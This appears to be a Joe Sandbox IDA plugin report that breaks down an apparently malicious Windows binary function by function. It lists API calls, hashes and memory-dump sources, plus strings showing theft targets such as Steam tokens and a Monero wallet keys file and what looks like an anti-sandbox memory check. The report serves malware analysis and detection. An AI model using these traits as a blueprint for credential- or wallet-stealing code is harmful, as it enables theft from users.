Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 0978c28c4da70863e7b52e72ced1ce945ff315cd1d7baeef107e5a1fd2d4d1ab
Instruction ID: 1dfc6b91286604889f3d4fa3017de27be272b80db873f8b43deff500e3521dd7
Opcode Fuzzy Hash: 0978c28c4da70863e7b52e72ced1ce945ff315cd1d7baeef107e5a1fd2d4d1ab
Instruction Fuzzy Hash: B70186B1904209EBCB00DF94ED45BAABFB8FB45B21F108219FA45E3280C3785904CBA6

Function 6CA83060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA83095

Part of subcall function 6CA835A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB0F688,00001000), ref: 6CA835D5
Part of subcall function 6CA835A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA835E0
Part of subcall function 6CA835A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA835FD
Part of subcall function 6CA835A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA8363F
Part of subcall function 6CA835A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA8369F
Part of subcall function 6CA835A0: __aulldiv.LIBCMT ref: 6CA836E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA8309F

Part of subcall function 6CAA5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAA56EE,?,00000001), ref: 6CAA5B85
Part of subcall function 6CAA5B50: EnterCriticalSection.KERNEL32(6CB0F688,?,?,?,6CAA56EE,?,00000001), ref: 6CAA5B90
Part of subcall function 6CAA5B50: LeaveCriticalSection.KERNEL32(6CB0F688,?,?,?,6CAA56EE,?,00000001), ref: 6CAA5BD8
Part of subcall function 6CAA5B50: GetTickCount64.KERNEL32 ref: 6CAA5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA830BE

Part of subcall function 6CA830F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA83127
Part of subcall function 6CA830F0: __aulldiv.LIBCMT ref: 6CA83140

Part of subcall function 6CABAB2A: __onexit.LIBCMT ref: 6CABAB30

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e26a6ab127f77783f1c89f9c3d15582c7fc70dd830ddb6e6a911159677a0ef9f
Instruction ID: b8342d4dbb153b4d4faea57aa43f07f22f52b79c8b64346ed6338bfb5732093a
Opcode Fuzzy Hash: e26a6ab127f77783f1c89f9c3d15582c7fc70dd830ddb6e6a911159677a0ef9f
Instruction Fuzzy Hash: 04F0F422F21B489BCA10DF7499811EAB374AF7B214F10171DE89563661FB3062DCC3CA

Function 00579470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00579484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005794A5
CloseHandle.KERNEL32(00000000), ref: 005794AF

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: db086b204b328964d76100235ee0b23d6bfb8de2bc95e4d8350e8a0eaaf35dd4
Instruction ID: 23ca05a4fdd357d67a1329b007d04cb4097c9f961855f50c063ed9774e586007
Opcode Fuzzy Hash: db086b204b328964d76100235ee0b23d6bfb8de2bc95e4d8350e8a0eaaf35dd4
Instruction Fuzzy Hash: 4EF03A7490020CBBDB05DFA4DC4AFEE7778FB48300F008498BA0997290D7B86E85DB95

Function 00561110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0056112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00561132
ExitProcess.KERNEL32 ref: 00561143

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 59d74488561ec9c3967a03b5e6b5829d3621d291095133ac3cf468a0f871797b
Instruction ID: 0109431862f32df5c965f0e1ecd3d1541527f32c948fd835c88f5b1eb40ea580
Opcode Fuzzy Hash: 59d74488561ec9c3967a03b5e6b5829d3621d291095133ac3cf468a0f871797b
Instruction Fuzzy Hash: 98E0E670945308FFE7516BA09D0EB1D7A78AB45B11F104154F709B71D0D7B92A40D79D

Function 00566D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea63bd9858b451fcfb11f062bfb13e2bc51156ee143ad616e50e2e4da0316e8d
Instruction ID: 39e926f3dbe21437f1191eaa9a6da3e61d767f98f050c1d4e1778951f5fc325a
Opcode Fuzzy Hash: ea63bd9858b451fcfb11f062bfb13e2bc51156ee143ad616e50e2e4da0316e8d
Instruction Fuzzy Hash: C36117B4D00219EFCB14CF94E988BEEBBB4BB48304F108598E419A7285D775AF94DF91

Function 00575100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A820: lstrlen.KERNEL32(00564F05,?,?,00564F05,00580DDE), ref: 0057A82B
Part of subcall function 0057A820: lstrcpy.KERNEL32(00580DDE,00000000), ref: 0057A885

lstrlen.KERNEL32(00000000,00000000,00580ACA), ref: 0057512A

Strings

steam_tokens.txt, xrefs: 0057513F

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: aba0712838b3895ce33ef5804232780608238934ac3ca21b8a47ad5d37a27a8c
Instruction ID: ce67a265001b558654d80aa270dc510b397a7398b4861662ad7f37ed7b6c621b
Opcode Fuzzy Hash: aba0712838b3895ce33ef5804232780608238934ac3ca21b8a47ad5d37a27a8c
Instruction Fuzzy Hash: 67F0CD7191010966DB08F7B0FC5F9ED7B3CBBD4300F408169B86B62492EF256609E7A7

Function 00577ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00580E2C), ref: 00577F00
wsprintfA.USER32 ref: 00577F16

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 4de3d1b6f478270c57a23317a3254a5928cbb148a33d1278a0d7d66a678971ea
Instruction ID: 2e44032e272f751a94a66d51c34efd752df58f5b9f1d0b94a715644b2a2ffe2b
Opcode Fuzzy Hash: 4de3d1b6f478270c57a23317a3254a5928cbb148a33d1278a0d7d66a678971ea
Instruction Fuzzy Hash: 17F096B1904208FBC714DF84EC45FAAFBBCFB49714F004669F515A2280D7795904CBE5

Function 0056B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

lstrlen.KERNEL32(00000000), ref: 0056B9C2
lstrlen.KERNEL32(00000000), ref: 0056B9D6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 34e0b2348069afbddfb9710284d5dfb14320ec415d2481e78b022371e187c912
Instruction ID: ff5481c286fa41cebc543c7ec50b0e7ad1002b1bc55aef4fe52822db95aa27d7
Opcode Fuzzy Hash: 34e0b2348069afbddfb9710284d5dfb14320ec415d2481e78b022371e187c912
Instruction Fuzzy Hash: 36E113728101199BDB05FBA0EC9ADEE773CBFD4300F408559F51AB2091EF346A49DB66

Function 0056AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

lstrlen.KERNEL32(00000000), ref: 0056B16A
lstrlen.KERNEL32(00000000), ref: 0056B17E

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f6f37a78d9b7943ba5d7593cbc2f3d2f0fc888a5e0745e2152fbc485cbc75d8d
Instruction ID: 86f2e7ba3eadb5d9bbfacfab0cbd6d3fd457cd97cae8610fac7615c364994d71
Opcode Fuzzy Hash: f6f37a78d9b7943ba5d7593cbc2f3d2f0fc888a5e0745e2152fbc485cbc75d8d
Instruction Fuzzy Hash: 49911172910105ABDB04FBA0EC59DEE7B38BFD4300F408569F51AA6091EF346A49DBA7

Function 0056B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
